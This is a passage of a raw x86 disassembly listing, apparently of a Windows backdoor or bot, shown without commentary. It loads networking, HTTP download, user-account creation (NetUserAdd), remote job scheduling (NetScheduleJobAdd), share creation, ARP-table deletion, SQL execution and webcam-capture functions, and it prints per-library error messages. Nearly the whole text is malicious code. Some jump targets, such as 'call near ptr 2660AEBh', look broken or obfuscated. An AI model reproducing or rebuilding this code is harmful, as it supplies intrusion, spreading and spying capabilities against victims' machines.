		mov	dword_43AD98, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43AD94, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43ACD4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_43ACCC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43ADE8, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43ADFC, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43ADB0, eax
		call	esi
		mov	dword_43AD70, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43ADC4, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43AD80, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43ADC0, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43AE2C, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43AD78, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43AD3C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43ADAC, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43AE1C, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43AD50, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43ACF4, eax
		call	esi
		cmp	dword_43AD10, ebx
		mov	dword_43AE30, eax
		jz	loc_409FD6
		cmp	dword_43AE3C, ebx
		jz	loc_409FD6
		cmp	dword_43ACB4, ebx
		jz	loc_409FD6
		cmp	dword_43AD44, ebx
		jz	loc_409FD6
		cmp	dword_43AD2C, ebx
		jz	loc_409FD6
		cmp	dword_43ACF8, ebx
		jz	loc_409FD6
		cmp	dword_43AE18, ebx
		jz	loc_409FD6
		cmp	dword_43AE34, ebx
		jz	loc_409FD6
		cmp	dword_43AD40, ebx
		jz	loc_409FD6
		cmp	dword_43AE24, ebx
		jz	loc_409FD6
		cmp	dword_43ADD8, ebx
		jz	loc_409FD6
		cmp	dword_43AD98, ebx
		jz	loc_409FD6
		cmp	dword_43AD94, ebx
		jz	loc_409FD6
		cmp	dword_43ACD4, ebx
		jz	short loc_409FD6
		cmp	dword_43ADE8, ebx
		jz	short loc_409FD6
		cmp	dword_43ADFC, ebx
		jz	short loc_409FD6
		cmp	dword_43ADB0, ebx
		jz	short loc_409FD6
		cmp	dword_43AD70, ebx
		jz	short loc_409FD6
		cmp	dword_43ADC4, ebx
		jz	short loc_409FD6
		cmp	dword_43AD80, ebx
		jz	short loc_409FD6
		cmp	dword_43ADC0, ebx
		jz	short loc_409FD6
		cmp	dword_43AE2C, ebx
		jz	short loc_409FD6
		cmp	dword_43AD78, ebx
		jz	short loc_409FD6
		cmp	dword_43AD3C, ebx
		jz	short loc_409FD6
		cmp	dword_43ADAC, ebx
		jz	short loc_409FD6
		cmp	dword_43AE1C, ebx
		jz	short loc_409FD6
		cmp	dword_43AD50, ebx
		jz	short loc_409FD6
		cmp	eax, ebx
		jnz	short loc_409FE0
		jmp	short loc_409FD6
; ---------------------------------------------------------------------------

loc_409FCB:				; CODE XREF: sub_40981F+501j
		nop
		call	near ptr 2660AEBh
		mov	dword_43AE7C, eax

loc_409FD6:				; CODE XREF: sub_40981F+6A0j
					; sub_40981F+6ACj ...
		mov	dword_43AE78, 1

loc_409FE0:				; CODE XREF: sub_40981F+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0E5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43ACDC, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43AC68, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43AD60, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43AD14, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43AD6C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43AD30, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43ACA8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43ACA0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43ACB0, eax
		call	esi
		cmp	dword_43ACDC, ebx
		mov	ecx, dword_43AD30
		mov	dword_43ADCC, eax
		jz	short loc_40A0C1
		cmp	dword_43AC68, ebx
		jz	short loc_40A0C1
		cmp	dword_43AD60, ebx
		jz	short loc_40A0C1
		cmp	dword_43AD14, ebx
		jz	short loc_40A0C1
		cmp	dword_43AD6C, ebx
		jz	short loc_40A0C1
		cmp	ecx, ebx
		jz	short loc_40A0C1
		cmp	dword_43ACA8, ebx
		jz	short loc_40A0C1
		cmp	dword_43ACA0, ebx
		jz	short loc_40A0C1
		cmp	dword_43ACB0, ebx
		jz	short loc_40A0C1
		cmp	eax, ebx
		jnz	short loc_40A0CB

loc_40A0C1:				; CODE XREF: sub_40981F+860j
					; sub_40981F+868j ...
		mov	dword_43AE80, 1

loc_40A0CB:				; CODE XREF: sub_40981F+8A0j
		cmp	ecx, ebx
		jz	short loc_40A100
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_43AD48, eax
		jnz	short loc_40A100
		jmp	short loc_40A0FA
; ---------------------------------------------------------------------------

loc_40A0E5:				; CODE XREF: sub_40981F+7CCj
		nop
		call	near ptr 2660AEBh
		mov	dword_43AE84, eax
		mov	dword_43AE80, 1

loc_40A0FA:				; CODE XREF: sub_40981F+8C4j
		mov	dword_43AD48, ebx

loc_40A100:				; CODE XREF: sub_40981F+8AEj
					; sub_40981F+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A14A
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43AD24, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43AE50, eax
		call	esi
		cmp	dword_43AD24, ebx
		mov	dword_43ACBC, eax
		jz	short loc_40A155
		cmp	dword_43AE50, ebx
		jz	short loc_40A155
		cmp	eax, ebx
		jnz	short loc_40A15F
		jmp	short loc_40A155
; ---------------------------------------------------------------------------

loc_40A14A:				; CODE XREF: sub_40981F+8ECj
		call	near ptr 2660AEBh
		nop
		mov	dword_43AE8C, eax

loc_40A155:				; CODE XREF: sub_40981F+91Bj
					; sub_40981F+923j ...
		mov	dword_43AE88, 1

loc_40A15F:				; CODE XREF: sub_40981F+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A255
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43AC98, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43AC70, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43ACE4, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43AD18, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43AE28, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43ACD0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43AC7C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43AC6C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43AD00, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43ADF0, eax
		call	esi
		cmp	dword_43AC98, ebx
		mov	dword_43ADA8, eax
		jz	short loc_40A260
		cmp	dword_43AC70, ebx
		jz	short loc_40A260
		cmp	dword_43ACE4, ebx
		jz	short loc_40A260
		cmp	dword_43AD18, ebx
		jz	short loc_40A260
		cmp	dword_43AE28, ebx
		jz	short loc_40A260
		cmp	dword_43ACD0, ebx
		jz	short loc_40A260
		cmp	dword_43AC7C, ebx
		jz	short loc_40A260
		cmp	dword_43AC6C, ebx
		jz	short loc_40A260
		cmp	dword_43AD00, ebx
		jz	short loc_40A260
		cmp	dword_43ADF0, ebx
		jz	short loc_40A260
		cmp	eax, ebx
		jnz	short loc_40A26A
		jmp	short loc_40A260
; ---------------------------------------------------------------------------

loc_40A255:				; CODE XREF: sub_40981F+94Bj
		nop
		call	near ptr 2660AEBh
		mov	dword_43AE94, eax

loc_40A260:				; CODE XREF: sub_40981F+9E6j
					; sub_40981F+9EEj ...
		mov	dword_43AE90, 1

loc_40A26A:				; CODE XREF: sub_40981F+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A29F
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43ACC0, eax
		call	esi
		cmp	dword_43ACC0, ebx
		mov	dword_43AD90, eax
		jz	short loc_40A2AA
		cmp	eax, ebx
		jnz	short loc_40A2B4
		jmp	short loc_40A2AA
; ---------------------------------------------------------------------------

loc_40A29F:				; CODE XREF: sub_40981F+A56j
		nop
		call	near ptr 2660AEBh
		mov	dword_43AE9C, eax

loc_40A2AA:				; CODE XREF: sub_40981F+A78j
					; sub_40981F+A7Ej
		mov	dword_43AE98, 1

loc_40A2B4:				; CODE XREF: sub_40981F+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2E9
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43AE14, eax
		call	esi
		cmp	dword_43AE14, ebx
		mov	dword_43AE10, eax
		jz	short loc_40A2F4
		cmp	eax, ebx
		jnz	short loc_40A2FE
		jmp	short loc_40A2F4
; ---------------------------------------------------------------------------

loc_40A2E9:				; CODE XREF: sub_40981F+AA0j
		nop
		call	near ptr 2660AEBh
		mov	dword_43AEA4, eax

loc_40A2F4:				; CODE XREF: sub_40981F+AC2j
					; sub_40981F+AC8j
		mov	dword_43AEA0, 1

loc_40A2FE:				; CODE XREF: sub_40981F+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A35D
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43AE40, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43AE38, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43AE00, eax
		call	esi
		cmp	dword_43AE40, ebx
		mov	dword_43ACD8, eax
		jz	short loc_40A368
		cmp	dword_43AE38, ebx
		jz	short loc_40A368
		cmp	dword_43AE00, ebx
		jz	short loc_40A368
		cmp	eax, ebx
		jnz	short loc_40A372
		jmp	short loc_40A368
; ---------------------------------------------------------------------------

loc_40A35D:				; CODE XREF: sub_40981F+AEAj
		nop
		call	near ptr 2660AEBh
		mov	dword_43AEAC, eax

loc_40A368:				; CODE XREF: sub_40981F+B26j
					; sub_40981F+B2Ej ...
		mov	dword_43AEA8, 1

loc_40A372:				; CODE XREF: sub_40981F+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3A7
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43AD0C, eax
		call	esi
		cmp	dword_43AD0C, ebx
		mov	dword_43AE0C, eax
		jz	short loc_40A3B2
		cmp	eax, ebx
		jnz	short loc_40A3BC
		jmp	short loc_40A3B2
; ---------------------------------------------------------------------------

loc_40A3A7:				; CODE XREF: sub_40981F+B5Ej
		call	near ptr 2660AEBh
		nop
		mov	dword_43AEB4, eax

loc_40A3B2:				; CODE XREF: sub_40981F+B80j
					; sub_40981F+B86j
		mov	dword_43AEB0, 1

loc_40A3BC:				; CODE XREF: sub_40981F+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A445
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43ADD4, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43AE20, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43AD5C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43AD1C, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43ADB4, eax
		call	esi
		cmp	dword_43ADD4, ebx
		mov	dword_43AD28, eax
		jz	short loc_40A450
		cmp	dword_43AE20, ebx
		jz	short loc_40A450
		cmp	dword_43AD5C, ebx
		jz	short loc_40A450
		cmp	dword_43AD1C, ebx
		jz	short loc_40A450
		cmp	dword_43ADB4, ebx
		jz	short loc_40A450
		cmp	eax, ebx
		jnz	short loc_40A45A
		jmp	short loc_40A450
; ---------------------------------------------------------------------------

loc_40A445:				; CODE XREF: sub_40981F+BA8j
		call	near ptr 2660AEBh
		nop
		mov	dword_43AEBC, eax

loc_40A450:				; CODE XREF: sub_40981F+BFEj
					; sub_40981F+C06j ...
		mov	dword_43AEB8, 1

loc_40A45A:				; CODE XREF: sub_40981F+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A48F
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43ACF0, eax
		call	esi
		cmp	dword_43ACF0, ebx
		mov	dword_43ADC8, eax
		jz	short loc_40A49A
		cmp	eax, ebx
		jnz	short loc_40A4A4
		jmp	short loc_40A49A
; ---------------------------------------------------------------------------

loc_40A48F:				; CODE XREF: sub_40981F+C46j
		nop
		call	near ptr 2660AEBh
		mov	dword_43AEC4, eax

loc_40A49A:				; CODE XREF: sub_40981F+C68j
					; sub_40981F+C6Ej
		mov	dword_43AEC0, 1

loc_40A4A4:				; CODE XREF: sub_40981F+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40981F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4AC	proc near		; CODE XREF: sub_40EE72+57D3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43AE58, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A4F4
		push	dword_43AE5C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A4F4:				; CODE XREF: sub_40A4AC+1Aj
		cmp	dword_43AE60, esi
		jz	short loc_40A528
		push	dword_43AE64
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A528:				; CODE XREF: sub_40A4AC+4Ej
		cmp	dword_43AE68, esi
		jz	short loc_40A55C
		push	dword_43AE6C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A55C:				; CODE XREF: sub_40A4AC+82j
		cmp	dword_43AE70, esi
		jz	short loc_40A590
		push	dword_43AE74
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A590:				; CODE XREF: sub_40A4AC+B6j
		cmp	dword_43AE78, esi
		jz	short loc_40A5C4
		push	dword_43AE7C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A5C4:				; CODE XREF: sub_40A4AC+EAj
		cmp	dword_43AE80, esi
		jz	short loc_40A5F8
		push	dword_43AE84
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A5F8:				; CODE XREF: sub_40A4AC+11Ej
		cmp	dword_43AE88, esi
		jz	short loc_40A62C
		push	dword_43AE8C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A62C:				; CODE XREF: sub_40A4AC+152j
		cmp	dword_43AE90, esi
		jz	short loc_40A660
		push	dword_43AE94
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A660:				; CODE XREF: sub_40A4AC+186j
		cmp	dword_43AE98, esi
		jz	short loc_40A694
		push	dword_43AE9C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A694:				; CODE XREF: sub_40A4AC+1BAj
		cmp	dword_43AEA0, esi
		jz	short loc_40A6C8
		push	dword_43AEA4
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A6C8:				; CODE XREF: sub_40A4AC+1EEj
		cmp	dword_43AEA8, esi
		jz	short loc_40A6FC
		push	dword_43AEAC
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A6FC:				; CODE XREF: sub_40A4AC+222j
		cmp	dword_43AEB0, esi
		jz	short loc_40A730
		push	dword_43AEB4
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A730:				; CODE XREF: sub_40A4AC+256j
		cmp	dword_43AEB8, esi
		jz	short loc_40A764
		push	dword_43AEBC
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A764:				; CODE XREF: sub_40A4AC+28Aj
		cmp	dword_43AEC0, esi
		jz	short loc_40A798
		push	dword_43AEC4
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A798:				; CODE XREF: sub_40A4AC+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D764
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A7C5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40A7C5:				; CODE XREF: sub_40A4AC+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A4AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7D7	proc near		; CODE XREF: sub_40EE72+C5Ep
					; sub_40EE72+C92p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A862
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40A862
		cmp	[ebp+arg_8], esi
		jz	short loc_40A862
		cmp	byte ptr [eax],	0
		jz	short loc_40A862
		push	ebx
		push	edi
		call	sub_42274B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A85D
		push	[ebp+arg_4]
		push	edi
		call	sub_417880
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A856
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_418C10
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_417AB0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418DE0
		push	[ebp+arg_4]
		call	sub_417AB0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4179D0
		push	ebx
		push	edi
		call	sub_4179C0
		add	esp, 30h
		mov	esi, edi

loc_40A856:				; CODE XREF: sub_40A7D7+3Cj
		push	ebx
		call	sub_417C3B
		pop	ecx

loc_40A85D:				; CODE XREF: sub_40A7D7+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A864
; ---------------------------------------------------------------------------

loc_40A862:				; CODE XREF: sub_40A7D7+Cj
					; sub_40A7D7+13j ...
		xor	eax, eax

loc_40A864:				; CODE XREF: sub_40A7D7+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A868	proc near		; CODE XREF: sub_40ECFA+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417330
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_417AB0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40A89E

loc_40A899:				; DATA XREF: ___:00428424o
					; ___:00428468o ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A911
; ---------------------------------------------------------------------------

loc_40A89E:				; CODE XREF: sub_40A868+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40A8C0

loc_40A8AA:				; CODE XREF: sub_40A868+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A8B7
		cmp	dl, 0Dh
		jnz	short loc_40A8BB

loc_40A8B7:				; CODE XREF: sub_40A868+48j
		and	byte ptr [ecx+esi], 0

loc_40A8BB:				; CODE XREF: sub_40A868+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A8AA

loc_40A8C0:				; CODE XREF: sub_40A868+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40A8F1
		lea	edi, [ebp+var_7CC]

loc_40A8CD:				; CODE XREF: sub_40A868+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40A8EC
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40A8EC
		cmp	ebx, 1F4h
		jge	short loc_40A8F1
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_40A8EC:				; CODE XREF: sub_40A868+69j
					; sub_40A868+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40A8CD

loc_40A8F1:				; CODE XREF: sub_40A868+5Dj
					; sub_40A868+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40A90F
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_417390
		add	esp, 0Ch

loc_40A90F:				; CODE XREF: sub_40A868+8Ej
		mov	eax, ebx

loc_40A911:				; CODE XREF: sub_40A868+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40A868	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A915	proc near		; CODE XREF: sub_40A96F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A94E
		push	ebx
		mov	ebx, edi

loc_40A932:				; CODE XREF: sub_40A915+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A951
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A932
		pop	ebx

loc_40A94E:				; CODE XREF: sub_40A915+18j
		pop	edi
		pop	esi
		retn
sub_40A915	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A951	proc near		; CODE XREF: sub_40A915+25p
					; sub_40A96F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_419101
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A96C
		cmp	al, 7Ah
		jg	short loc_40A96C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_40A96C:				; CODE XREF: sub_40A951+Ej
					; sub_40A951+12j
		xor	eax, eax
		retn
sub_40A951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A96F	proc near		; CODE XREF: sub_40C04D+10p
					; sub_40C07F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_417AB0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A915
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_40A9AD:				; CODE XREF: sub_40A96F+B6j
		test	esi, esi
		jle	short loc_40AA2B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	ebx, eax
